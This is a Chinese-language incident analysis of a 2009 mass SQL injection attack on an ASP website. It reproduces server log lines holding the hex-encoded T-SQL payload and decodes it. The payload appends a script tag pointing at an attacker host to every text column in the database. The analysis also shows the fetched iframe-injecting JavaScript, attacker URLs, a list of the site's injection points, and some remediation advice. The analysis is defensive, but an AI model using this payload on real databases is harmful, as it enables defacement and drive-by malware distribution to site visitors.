日志部分
GET /dispcontent.asp id=145;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);
 GET /dispcontent.asp id=145';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);
GET /dispcontent.asp id=145;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);--|-|ASP_0113|脚本超时
 /dispcontent.asp id=145;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);
GET /dispcontent.asp id=145;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);
2009-08-26 01:43:43 59.50.142.125 - W3SVC6 xxx 10.2.0.151 56789 GET /flash/getdetails.asp Record=13|9|80040e4d|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]用户_'boray'_登录失败。 500 0 0 445 16

2009-08-26 01:44:37 59.50.142.125 - W3SVC6 CIS 10.2.0.151 56789 GET /flash/getdetails.asp Record=13|9|80040e4d|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]用户_'boray'_登录失败。 500 0 0 445 15

2009-08-26 02:30:50 114.247.10.160 - W3SVC6 CIS 10.4.0.125 56789 GET /flash/getdetails.asp Record=0|9|80040e4d|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]用户_'boray'_登录失败。 500 0 0 427 0

网站存在的漏洞地方有:
http://www.xx.xx/dispcontent.asp?id=29 注入点1
http://www.xx.xx/listnews.asp?id=2 注入点2
http://www.xx.xx/reg.asp 注入点3
后台密码 需要加密? OR或者改变下密码! 不是必须的。网站登录的密码没有在数据库中加密。不过如果攻击者拿到了MD5加密的密码也可以解密出来的。网上现在都提供这种服务了!!!
dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s)
网上说攻击的类似代码如下
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.jxmmtv.com/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
我们自己翻译下   %20是空格 0X是16进制  需要转换过来
DECLARE @S VARCHAR(8000)
SET @s=DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C //游标指向下一条数据
WHILE(@@FETCH_STATUS=0) //结果成功后执行下一句 循环执行
BEGIN
exec
('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"><script src=http://%39%36%33%2E%73%73%2E%6C%61></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
exec(@s)
上面注入语句的解释
定义了3个变量 @s是用来执行的语句,@t,@c 分别用来存储系统表名和选择出来的列名。
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
这里选择出了一个结果集 属于用户表的并且字段是ntext,nvarchar,text,varchar  然后利用游标循环进行更新需要注入的代码。
fetch   next   from   abc   into   @t,@c
取出一个上面选择出来结果集中的一条数据结果 将之更新到临时变量@t @c中。   
注入后如果你的表中存在nvarchar ntext text就有可能出现截断的情况,即使恢复了,也是不完全的。
因为这里有了强制转换 convert(varchar,['+@C+'])
注释:
1  sysobjects,syscolumns是系统表,存储着当前数据库中表的基本数据,例如表的名字,表中列名,数据库中的存储过程等。
2 sysobjexts中name是列名,xtype就是数据类型,但是这个xtype是数字的,下面是数字和数据类型对应的关系;
xtype=34 'image'
xtype=35 'text'   这里是需要注入的类型
xtype=36 'uniqueidentifier'
xtype=48 'tinyint'
xtype=52 'smallint'
xtype=56 'int'
xtype=58 'smalldatetime'
xtype=59 'real'
xtype=60 'money'
xtype=61 'datetime'
xtype=62 'float'
xtype=98 'sql_variant'
xtype=99 'ntext'       这里是需要注入的类型
xtype=104 'bit'
xtype=106 'decimal'
xtype=108 'numeric'
xtype=122 'smallmoney'
xtype=127 'bigint'
xtype=165 'varbinary'
xtype=167 'varchar'   这里是需要注入的类型
xtype=173 'binary'
xtype=175 'char'
xtype=189 'timestamp'
xtype=231 'nvarchar'  这里是需要注入的类型
xtype=239 'nchar'
xtype=241 'xml'
xtype=231 'sysname'
3 关于
@@FETCH_STATUS
返回被 FETCH 语句执行的最后游标的状态,而不是任何当前被连接打开的游标的状态。
返回值 描述
0 FETCH 语句成功。
-1 FETCH 语句失败或此行不在结果集中。
-2 被提取的行不存在。

语法
@@FETCH_STATUS
返回类型
integer

由于 @@FETCH_STATUS 对于在一个连接上的所有游标是全局性的,要小心使用 @@FETCH_STATUS 。在执行一条 FETCH 语句后,必须在对另一游标执行另一 FETCH 语句前测试 @@FETCH_STATUS 。在任何提取操作出现在此连接上前,@@FETCH_STATUS 的值没有定义。
例如,用户从一个游标执行一条 FETCH 语句,然后调用一个存储过程,此存储过程打开并处理另一个游标的结果。当控制从被调用的存储过程返回后,@@FETCH_STATUS 反映的是在存储过程中执行的最后的 FETCH 语句的结果,而不是在存储过程被调用之前的 FETCH 语句的结果。

4 DEALLOCATE
删除游标引用。当释放最后的游标引用时,组成该游标的数据结构由 Microsoft? SQL Server? 释放。
语法
DEALLOCATE { { [ GLOBAL ] cursor_name } | @cursor_variable_name }
参数
cursor_name
是已声明游标的名称。当全局和局部游标都以 cursor_name 作为它们的名称存在时,如果指定 GLOBAL,则 cursor_name 引用全局游标,如果未指定 GLOBAL,则 cursor_name 引用局部游标。
@cursor_variable_name
是 cursor 变量的名称。@cursor_variable_name 必须为 cursor 类型。

对游标进行操作的语句使用游标名称或游标变量引用游标。DEALLOCATE 删除游标与游标名称或游标变量之间的关联。如果一个名称或变量是最后引用游标的名称或变量,则将释放游标,游标使用的任何资源也随之释放。用于保护提取隔离的滚动锁在 DEALLOCATE 上释放。用于保护更新(包括通过游标进行的定位更新)的事务锁一直到事务结束才释放。
DECLARE CURSOR 语句分配游标并使其与游标名称关联:
DECLARE abc SCROLL CURSOR FOR
SELECT * FROM authors
游标名称与某个游标关联之后,该游标在释放之前不能用作相同作用域(GLOBAL 或 LOCAL)内另一个游标的名称。
游标变量使用下列两种方法之一与游标关联:
通过名称,使用 SET 语句将游标设置为游标变量:
DECLARE @MyCrsrRef CURSOR
SET @MyCrsrRef = abc
也可以不定义游标名称而创建游标并使其与变量关联:
DECLARE @MyCursor CURSOR
SET @MyCursor = CURSOR LOCAL SCROLL FOR
SELECT * FROM titles
DEALLOCATE @cursor_variable_name 语句只删除对游标命名变量的引用。直到批处理、存储过程或触发器结束时变量离开作用域,才释放变量。在 DEALLOCATE @cursor_variable_name 语句之后,可以使用 SET 语句使变量与另一个游标关联。
USE pubs
GO
DECLARE @MyCursor CURSOR
SET @MyCursor = CURSOR LOCAL SCROLL FOR
SELECT * FROM titles
DEALLOCATE @MyCursor
SET @MyCursor = CURSOR LOCAL SCROLL FOR
SELECT * FROM sales
GO
不必显式释放游标变量。变量在离开作用域时被隐性释放。
权限
默认情况下,将 DEALLOCATE 权限授予任何有效用户。

打开IP地址 http://%39%36%33%2E%73%73%2E%6C%61  代表的地址是:http://963.ss.la
下载下来一段JS代码
var s,siteUrl,tmpdomain;
var arydomain = new Array(".gov.cn",".e1du.cn",".dl108.com");
s = document.location+"";
siteUrl=s.substring(7,s.indexOf('/',7));
tmpdomain = 0;
for(var i=0;i<arydomain.length; i++)
{
if(siteUrl.indexOf(arydomain[i]) > -1){
tmpdomain = 1;
break;
}
}
if(tmpdomain == 0){
document.writeln("<iframe src=http://wo8.ss.la/1/google.htm?1 width=123 height=1></iframe>");
}
打开http://wo8.ss.la/1/google.htm?1 肯定有会跳转 继续弹开N个窗口 。
解决办法:
1 从注入的角度看 ,它需要对上面2个系统表sysobjects,syscolumns进行操作,而我们需要做的就是将之权限降低,使它没有权限进行操作 它也就不能进行SQL注入了。
2 还有种办法,它注入的是ntext ,varchar等,我们可以利用自定义类型来回避它的注入。
最后根本解决办法
要避免这类注入 还是要在代码中进行检验,不要有注入点。